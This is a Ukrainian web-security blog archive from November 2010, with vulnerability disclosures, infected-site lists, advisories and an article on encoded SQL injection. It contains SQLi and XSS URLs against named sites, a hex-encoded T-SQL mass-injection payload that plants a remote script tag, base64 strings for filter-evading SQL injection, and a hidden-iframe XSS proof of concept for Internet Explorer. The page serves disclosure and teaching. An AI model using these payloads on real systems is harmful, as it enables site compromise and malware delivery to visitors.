Архів за Листопад, 2010

« Попередні записи
Наступні записи »

Нові уразливості на www.sec.ru

15:02 16.11.2010

25.02.2010

У липні, 28.07.2009, я знайшов SQL DB Structure Extraction, Full path disclosure та Cross-Site Scripting уразливості на секюріті проекті http://www.sec.ru. Про що найближчим часом сповіщу адміністрацію проекту.

Раніше я вже писав про уразливості на www.sec.ru.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

16.11.2010

SQL DB Structure Extraction:

http://www.sec.ru/banner.cfm?id=-

Full path disclosure:

http://www.sec.ru/banner.cfm?id=-

XSS:

При запиті до сторінки http://www.sec.ru/banner.cfm?id=- з User-Agent “Mozilla<body onload=alert(document.cookie)>” можна було виконати код. Зараз уразливість вже виправлена.

XSS:

Дану уразливість спробували виправити, але погано, тому вона все ще працює (через багато інших векторів атаки).

XSS:

Більшість з даних уразливостей досі не виправлена.

Опубліковано в Уразливості | Без Коментарів »

Інфіковані сайти №53

22:45 15.11.2010

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

  • http://ternopil-best.at.ua - інфекція була виявлена 11.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 3 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
  • http://nasharu.org.ua - інфекція була виявлена 09.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 1 раз протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
  • http://sybronimplants.com.ua - інфекція була виявлена 10.09.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 5 разів протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
  • http://tristar.com.ua - інфекція була виявлена 24.10.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
  • http://forum.crimea.ua - інфекція була виявлена 23.10.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.

Опубліковано в Новини сайту, Дослідження | Без Коментарів »

Численні уразливості в MySQL

19:16 15.11.2010

Виявлені численні уразливості безпеки в MySQL.

Уразливі версії: MySQL 5.1.

Несанкціонований доступ до файлів через ALTER DATABASE / UPGRADE DATA DIRECTORY, численні DoS-умови.

Опубліковано в Новини, Помилки | Без Коментарів »

Нові уразливості на www.a-counter.com

15:07 15.11.2010

15.02.2010

У липні, 10.07.2009, я знайшов SQL Injection та Denial of Service уразливості на проекті http://www.a-counter.com. Про що найближчим часом сповіщу адміністрацію проекту.

Раніше я вже писав про уразливості на www.a-counter.com.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

15.11.2010

SQL Injection:

http://www.a-counter.com/cgi-bin/search?sub_data=%22%20limit%200,1/*

DoS (через SQL Injection):

http://www.a-counter.com/cgi-bin/search?sub_data=%22%23

Дані уразливості досі не виправлені.

Опубліковано в Уразливості | Без Коментарів »

Encoded SQL Injection уразливості

22:42 13.11.2010

В статті Просунуті методи SQL Smuggling, я згадав про Encoded SQL Injection - новий клас SQL Injection, що я виявив в 2009 році. Тобто це підклас SQL Injection уразливостей. І зараз я детально розповім про нього.

Торік, 17.05.2009, я знайшов SQLi уразливість, яку я відніс до нового типу SQL Injection - Encoded SQL Injection. Про Encrypted XSS (Encoded XSS) я вже згадував неодноразово, а в цій статті розповім про Encoded SQLi. В класифікації SQL Injection уразливостей (в 2008 році) я навів два типи SQLi - Reflected SQL Injection та Persistent SQL Injection. Так що Encoded SQL Injection буде третім типом.

Дані уразливості дозволяють обходити захисні системи - як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи. Тому я відніс даний тип SQL Injection уразливостей до просунутих методів SQL Smuggling.

Різновиди Encoded SQL Injection.

Існують наступні різновиди Encoded SQL Injection:

  • Частково закодовані SQLi.
  • Повністю закодовані SQLi.

Якщо перший різновид ще може бути виявлений деякими захисними системами (якщо вони налаштовані на відповідні оператори мови SQL), то другий різновид зовсім не буде виявленим сучасними захисними системами. Окрім тих систем, що підтримують декодування даного методу кодування.

Частково закодовані SQLi.

У випадку частково закодованих SQL Injection, дані, які передаються СУБД, кодуються лише частково. Це коли закодована лише деяка частина SQL коду (наприклад, через CAST). Кодування рядків для обходу фільтрації лапок сюди не відноситься.

Як у випадку наведеному в записі Encoded SQL Injection, де даний тип SQLi використовувався для атаки на один сайт (причому на звичайну SQLi уразливість):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Повністю закодовані SQLi.

У випадку повністю закодованих SQL Injection, дані, які передаються СУБД, кодуються повністю. Тому весь SQL запит є закодованим (на рівні інтерфейсу) і лише на рівні веб додатку від декодується для передачі СУБД. Зокрема у варіанті закодованого SQL Injection, що я знайшов торік, використовується base64 кодування.

Коли веб додаток використовує base64-рядки для передачі значень веб додатку, це може бути використаним для проведення Encoded SQLi атак.

Наприклад, рядок ‘ or 1=1# стане JyBvciAxPTEj. А рядок ‘ and 1=’1 стане JyBhbmQgMT0nMQ==.

І на рівні зовнішніх захисних систем, що не підтримують декодування даних, які передаються веб додатку, ці та інші закодовані рядки не викличуть жодних підозр. Тому встановлені на сервері IDS, IPS та WAF системи не зможуть виявити дані атаки (та й в логах їх просто так не виявиш). І дані атаки успішно пройдуть, обійшовши захисні системи.

Опубліковано в Статті | 1 Коментар »

Несерйозні розробники: Microsoft та Opera

19:15 13.11.2010

Торік в записі Як Mozilla виправляє дірки в своїх браузерах, я вже розповідав про одного несерйозного розробника браузерів - Mozilla - який приховано виправив (ще в 2008 році) декілька з уразливостей, про які я їм повідомив. А зараз розповім про ще двох несерйозних розробників браузерів - Microsoft та Opera.

В 2007 році я виявив Cross-Site Scripting уразливість в Internet Explorer, про що повідомив Microsoft (в 2007 стосовно IE6, а в 2008 стосовно IE7), але вони тоді не виправили цю дірку в своїх браузерах. І як я вчора зазначив, оприлюднивши нову дірку в IE, яку Microsoft забула виправити, коли втихаря випраляля попередню дірку - у травні я виявив, що Microsoft виправила попередню уразливість в IE8. Тобто спочатку проігнорувала дану уразливість в IE6 та IE7, про яку я їм повідомляв в 2007-2008 роках, а потім тихенько виправила її в IE8.

Що є несерйозною і доволі ламерською поведінкою для Microsoft. І починаючи з уразливості в IE, оприлюдненої вчора, для даної компанії я буду використовувати лише Full disclosure і одразу буду публікувати деталі всіх виявлених уразливостей в їх програмних продуктах. Але при цьому буду їм повідомляти по емайлу. Але ще один такий випадок від Microsoft і тоді я не будуть навіть по емайлу їм повідомляти, і їм доведеться дізнаватися про дірки в їхніх програмах з багтреків.

У випадку Опери маємо два таких інциденти. Тобто вони повели себе ще більш несерйозно, ніж Майкрософт.

Як я виявив ще в жовтні, Opera виправила уразливість в своєму браузері (в версії Opera 10.63), про яку я їм повідомив - про XSS на сторінці браузера про помилку. Причому зробила це вона приховано: спочатку вони проігнорували моє повідомлення (на початку серпня), зовсім не відповівши на мого листа, а в середині жовтня виправили дану XSS в своєму браузері (без спасибі і без жодного посилання на мене).

А вже вчора я перевірив, що XSS уразливість в Opera, про яку я повідомляв в 2008 році, не працює в Opera 10.62. Тобто, якщо в Opera 9.52 компанія не стала виправляти дану уразливість, то в Opera 10 вони її тихенько виправили. Офіційно ніде про це не повідомивши й мені не подякувавши.

Тобто компанія вже двічі продемонструвала несерйозний підхід до виправлення уразливостей в своєму браузері. І подібна ламерська поведінка Opera Software є дуже несерйозною, як і вищезгадана поведінка Microsoft.

Опубліковано в Новини сайту | Без Коментарів »

Добірка уразливостей

15:26 13.11.2010

В даній добірці уразливості в веб додатках:

Опубліковано в Уразливості | Без Коментарів »

Saved XSS уразливість в Internet Explorer

23:57 12.11.2010

Сьогодні я знайшов Cross-Site Scripting уразливість в Internet Explorer. Це Post Persistent XSS (Saved XSS). Дірку я виявив в IE6, IE7 та IE8.

Дана уразливість подібна до Cross-Site Scripting в IE, про яку я писав в 2007 році, але атака відбувається не через збереження веб сторінки, а через збереження веб архіва (mht/mhtml файла) - так само, як у Cross-Site Scripting в Opera, про яку я писав в 2008 році. Й як я зазначав у травні - Microsoft виправила попередню уразливість в IE8 - тобто спочатку проігнорувала дану уразливість в IE6 та IE7, про яку я їм повідомляв в 2007-2008 роках, а потім тихенько виправила її в IE8. Але цю дірку виправити вона забула, тому й вразливими є всі версії Internet Explorer :-) .

При збереженні сторінки зі “спеціальним” URL, в коді сторінки зберігається XSS код. І відбувається виконнання XSS коду при відкритті даної сторінки (в будь-якому браузері).

XSS:

http://site/?--><script>alert("XSS")</script>

Для атаки необхідно зберегти сторінку як mht/mhtml файл (Web archive). Причому, якщо зберегти даний файл з розширенням mht або mhtml, то при відкритті сторінки код не спрацює. Для того, щоб це обійти і запустити код потрібно зберегти mht/mhtml файл з розширенням htm або html. Тоді код виконається при відкритті сторінки (в будь-якому браузері).

Дана уразливість - це Saved XSS та Local XSS. Подібні дірки можуть використовуватися для доступу до локальної файлової системи.

Для прихованої атаки можна використати iframe в коді сторінки:

<iframe src='http://site/?--><script>alert("XSS")</script>' height='0' width='0'></iframe>

Уразливі версії Internet Explorer 6 (6.0.2900.2180), Internet Explorer 7 (7.00.5730.13), Internet Explorer 8 (8.00.6001.18702) та попередні версії.

Опубліковано в Уразливості | Без Коментарів »

Захист електронної пошти

22:43 12.11.2010

Продовжуючи розпочату традицію, після попереднього відео про безпеку від Гугла - Google Web Security, пропоную нове відео на веб секюріті тематику. Цього разу відео про захист електронної пошти. Рекомендую подивитися всім хто цікавиться цією темою.

Global Web Security - Protecting your Webmail

В відео розповідається про небезпеку відправки емайлів, тому що чимало різних осіб потенційно можуть переглянути вашу кореспонденцію. І одна справа коли відправляти звичайні листи, і зовсім інша справа коли відправляти конфеденційну інформацію. Про методику вирішення цієї проблеми йдеться в цьому відео. Хоча відео має рекламне спрямування, але воно зроблено цікаво :-) .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою електронної пошти.

Опубліковано в Статті | Без Коментарів »

Численні уразливості в Adobe Flash Player

18:15 12.11.2010

Виявлені численні уразливості безпеки в Adobe Flash Player.

Уразливі версії: Adobe Flash Player 10.1.

Численні пошкодження пам’яті, виконання коду, міжсайтовий доступ, витік інформації, DoS.

  • Adobe Flash Player Remote Memory corruption Vulnerability (деталі)
  • Remote Binary Planting in Adobe Flash Player (деталі)
  • Security update available for Adobe Flash Player (деталі)

Опубліковано в Новини, Помилки | Без Коментарів »


« Попередні записи
Наступні записи »